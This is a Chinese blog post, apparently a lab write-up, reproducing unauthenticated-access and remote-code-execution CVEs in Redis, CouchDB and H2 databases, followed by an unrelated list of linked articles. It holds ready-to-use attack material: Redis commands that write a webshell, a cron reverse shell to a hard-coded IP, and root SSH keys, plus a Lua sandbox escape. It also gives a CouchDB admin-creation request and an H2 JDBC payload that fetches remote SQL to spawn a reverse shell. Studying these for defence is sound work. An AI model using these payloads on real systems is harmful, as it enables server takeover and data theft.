数据库安全(redis、couchdb、h2database)CVE复现

redis服务默认端口:6379;我们可以通过端口扫描来判断是否存在该服务。

Redis 是一套开源的使用ANSI  C 编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。 Redis 如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

复现环境:

靶场:vulfocus

 攻击机:本机window11  ip:192.168.1.3

Redis未授权访问

CNVD-2015-07557

我们启动靶场之后,首先使用工具进行连接。发现可以连接成功并且可以执行命令,说明存在未授权访问。(其实攻击方式就是基于拿到了对方执行命令的权限,我们如何攻击)

 攻击方式:

  • 如果对方服务器存在web服务,我们写webshell(需要有写的权限),利用工具连接,从而拿到服务器权限。

config set dir /tmp            #设置WEB写入目录

config set dbfilename 1.php    #设置写入文件名

set test "<?php phpinfo();?>"  #设置写入文件代码

bgsave                         #保存执行

save                           #保存执行

  •  写定时任务反弹shell,

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态。

config set dir /var/spool/cron

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"

config set dbfilename x

save

  • 写入Linux ssh-key公钥
利用条件: Redis 服务使用ROOT账号启动,安全模式 protected - mode处于关闭状态且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

ssh-keygen -t rsa

cd /root/.ssh/

(echo -"\n\n"; cat id_rsa.pub; echo -"\n\n") > key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx

//以上步骤在自己的攻击机器上执行

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@目标IP

 上面都是我们自己手动执行命令测试,也可以使用自动化项目,执行命令直接攻击。

项目:https://github.com/n0b0dyCN/redis-rogue-server

运行脚本之前先进入redis-rogue-server-master\RedisModulesSDK\exp目录,然后make一下,生成exp.so的文件,然后再运行python脚本

 注意:这里我们拿到的是目标服务器的命令执行权限。而上面是连接到redis的终端,仅仅可以执行redis的命令。

CNVD-2019-21763

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

利用项目:https://github.com/vulhub/redis-rogue-getshell

 CVE-2022-0543

这个连接到redis之后,我们直接执行命令。

POC:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

 

Couchdb未授权

Apache CouchDB 是一个开源数据库,专注于易用性和成为 "完全拥抱web的数据库" 。它是一个使用JSON作为存储格式, JavaScript 作为查询语言, MapReduce 和HTTP作为API的 NoSQL 数据库。应用广泛,如BBC用在其动态内容展示平台, Credit Suisse 用在其内部的商品部门的市场框架, Meebo ,用在其社交平台(web和应用程序)。在 2017 11 15 日,CVE - 2017 - 12635 和CVE - 2017 - 12636 披露利用。
默认端口: 5984

CVE-2017-12635(垂直权限绕过)

利用:
1.先创建一个用户,以PUT形式发送数据包

PUT /_users/org.couchdb.user:xiaodi HTTP/1.1

Host: 192.168.222.8:32571/

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 108

{

  "type": "user",

  "name": "test",

  "roles": ["_admin"],

  "roles": [],

  "password": "test"

}

2.登录用户授权
访问:/_utils 以上面创建的用户名和密码

CVE-2017-12636(命令执行)

该漏洞可以把终端反弹到我们的攻击机。

脚本:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

我们只需把目标地址和攻击机的地址修改即可,然后我们在攻击机监听端口;执行python脚本即可。

h2database

默认端口:20051

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

利用:

1.未授权进入。

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

直接复制上面url到JDBC URL即可进入后台,不需要用户名和密码。

 2.RCE执行反弹

h2.sql:

CREATE TABLE test (

     id INT NOT NULL

 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1   (x.x.x为攻击机的ip)

 payload(加载远程sql):

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://攻击ip:89/h2.sql';\

  1. 在攻击机创建一个文件(h2.sql)内容如上
  2. 然后监听89端口(命令:python -m http.server 89)
  3. 可以尝试访问一下该sql文件能否正常访问下载
  4. 在JDBC URL中输入payload(加载我们上面创建的sql文件)
  5. 攻击机我们新建一个终端,然后监听端口8888(nc -lvvp 8888);等待目标的终端反弹

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/502338.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

论文笔记:TALK LIKE A GRAPH: ENCODING GRAPHS FORLARGE LANGUAGE MODELS

ICLR 2024&#xff0c;reviewer评分 6666 1 intro 1.1 背景 当下LLM的限制 限制1&#xff1a;对非结构化文本的依赖 ——>模型有时会错过明显的逻辑推理或产生错误的结论限制2&#xff1a;LLMs本质上受到它们训练时间的限制&#xff0c;将“最新”信息纳入到不断变化的世…

MySQL优化之外连接消除----空值拒绝

什么叫空值拒绝呢&#xff1f;请看下面用例 可以看到&#xff0c;外连接中&#xff0c;从表的表连接列&#xff0c;tb2.id出现了null&#xff0c;因为tb2中并没有id5的情况 点击(此处)折叠或打开 select * from tb1 left join tb2 on tb1.idtb2.id where tb2.id>1; sel…

商品说明书的制作工具来啦,用这几个就够了!

商品说明书是用户了解产品特性、性能、使用方法的重要途径。一个明确、易懂的商品说明书&#xff0c;可以显著提升用户体验&#xff0c;进而提升产品的销量。但我们都知道&#xff0c;制作一份高质量的说明书并不容易&#xff0c;需要仔细设计、计划和撰写。幸运的是&#xff0…

解决 linux 服务器 java 命令不生效问题

在Linux系统中&#xff0c;当你安装Java并设置了JAVA_HOME环境变量后&#xff0c;你可能需要使用source /etc/profile命令来使Java命令生效。这是因为/etc/profile是一个系统级的配置文件&#xff0c;它包含了系统的全局环境变量设置。 但是需要注意的是&#xff0c;source /e…

数据运营分析-详解

一、指标与指标体系 指标体系就是业务逻辑的框架,也是思考业务逻辑的第一步 案例: 老板,我负责的用户活跃,主要考察每天启动产品的注册用户数量,整体来看,每月活跃保持7.3%的增长,是因为渠道团队的拉新活动带来很多新增注册用户,占每月活跃用户的40%,新一年会继续沿…

手写简易操作系统(十七)--编写键盘驱动

前情提要 上一节我们实现了锁与信号量&#xff0c;这一节我们就可以实现键盘驱动了&#xff0c;访问键盘输入的数据也属于临界区资源&#xff0c;所以需要锁的存在。 一、键盘简介 之前的 ps/2 键盘使用的是中断驱动的&#xff0c;在当时&#xff0c;按下键盘就会触发中断&a…

图的基础和图的遍历(--蓝桥云)

图的基础概念 度数&#xff1a;出边入边的条数 有向边&#xff1a;有箭头 图的存储方式 //邻接表 List<int []> list[N] list<x>//存放x的所有出点的信息 list[i][j]{first,second}//其中first表示从i出发的某个出点的编号&#xff08;这个出点是i的第j个出点&…

Lecture 1 - Introduction

Lecture 1 - Introduction MIT 6.824 Distributed Systems 1、概念预览 分布式系统需要考虑的因素&#xff1a; Parallelism &#xff1a;并行性Fault tolerence &#xff1a;容错性Physicial &#xff1a;不同系统之间物理距离引起的通信问题**Security ** &#xff1a;不…

eps32官方ESP-IDF开发工具IDE的使用

1、创建工程 创建的工程目录如下&#xff1a; .c文件中很多报错&#xff0c;需要编译下&#xff0c;点击左上角的"锤子"按钮 2、烧录 3、打开终端查看信息 如上信息表明运行正常 附 问题&#xff1a;如果烧录的过程中报如下错误&#xff1a; UnicodeDecodeError: gb…

黑马鸿蒙笔记2

1.图片设置&#xff1a; 1 加载网络图片&#xff0c;申请权限。 申请权限&#xff1a;entry - src - resources - module.json5 2 加载本地图片 ,两种加载方式 API 鼠标悬停在Image&#xff0c; 点击show in API Reference interpolation&#xff1a;看起来更加清晰 resou…

测底解决msvcp140.dll丢失难题,总结5种靠谱的解决方法

在尝试运行特定程序或执行一段代码时&#xff0c;系统反馈了一条明确且关键的错误信息&#xff1a;“找不到msvcp140.dll”。这意味着&#xff0c;由于缺失了名为“msvcp140.dll”的动态链接库文件&#xff08;Dynamic Link Library&#xff09;&#xff0c;当前的操作无法按照…

22 多态

目录 多态的概念多态的定义及实现抽象类多态的原理单继承和多继承关系中的虚函数表继承和多态常见的面试问题 前言 需要声明的&#xff0c;下面的代码和解释的哦朴实vs2013x86环境&#xff0c;涉及指针是4bytes&#xff0c;如果要其他平台下&#xff0c;部分代码需要改动。比…

.NET CORE 分布式事务(二) DTM实现TCC

目录 引言&#xff1a; 1. TCC事务模式 2. TCC组成 3. TCC执行流程 3.1 TCC正常执行流程 3.2 TCC失败回滚 4. Confirm/Cancel操作异常 5. TCC 设计原则 5.1 TCC如何做到更好的一致性 5.2 为什么只适合短事务 6. 嵌套的TCC 7. .NET CORE结合DTM实现TCC分布式事务 …

03_制作U盘启动盘

一、准备工作 系统镜像.ISO UltraISO 二、制作U盘启动盘 打开UltraISO 文件-打开&#xff0c;选择已下载的镜像文件。 插入U盘&#xff0c;启动-写入硬盘映像。

8.图论——2.kruskal算法dijkstra算法

最小生成树 n个顶点组成的带权无向图&#xff0c;其生成树&#xff0c;即包含全部n个顶点并有n-1条边的无向连通子图。 最小生成树即各边权值和最小的一棵生成树&#xff0c;求最小生成树有kruskal算法和prim算法 kruskal算法 建立一个并查集&#xff0c;每个顶点一个集合把…

vlan间单臂路由

【项目实践4】 --vlan间单臂路由 一、实验背景 实验的目的是在一个有限的网络环境中实现VLAN间的通信。网络环境包括两个交换机和一个路由器&#xff0c;交换机之间通过Trunk链路相连&#xff0c;路由器则连接到这两个交换机的Trunk端口上。 二、案例分析 在网络工程中&#…

一文掌握 TS 高级类型编程

原文地址&#xff1a;github.com/Nealyang/PersonalBlog 前言 或许现在很多同学都在用 TypeScript&#xff0c;但是更可能大多数的同学并不会 TypeScript&#xff0c;他们用的&#xff0c;只不过是给 js 加了一些“注释”&#xff0c;然后洋洋得意“TypeScript 不过如此” 但是…

CSS(四)---【链接美化、浮动布局、三种定位】

零.前言 本篇主要讲解<a>标签链接美化、页面的浮动布局&#xff0c;以及“相对定位”、“绝对定位”、“固定定位”三种定位。 关于其它请查看作者其它文章&#xff1a; CSS(一)---【CSS简介、导入方式、八种选择器、优先级】-CSDN博客 CSS(二)---【常见属性、复合属…

基于springboot实现社区团购系统项目【项目源码+论文说明】

基于springboot实现社区团购系统演示 摘要 本课题是根据用户的需要以及网络的优势建立的一个社区团购系统&#xff0c;来满足用户团购的需求。 本社区团购系统应用Java技术&#xff0c;MYSQL数据库存储数据&#xff0c;基于Spring Boot框架开发。在网站的整个开发过程中&…

水泊梁山108小酒坛之呼保义宋江

宋江【绰号呼保义、及时雨】字公明&#xff0c;是古典名著《水浒传》中的角色。原为山东郓城县押司&#xff0c;他和晁盖互通往来的事被阎婆惜发现&#xff0c;因此怒杀阎婆惜&#xff0c;逃回家隐藏。后前往清风寨投靠花荣&#xff0c;却被清风寨观灯时遭知寨刘高之妻陷害入狱…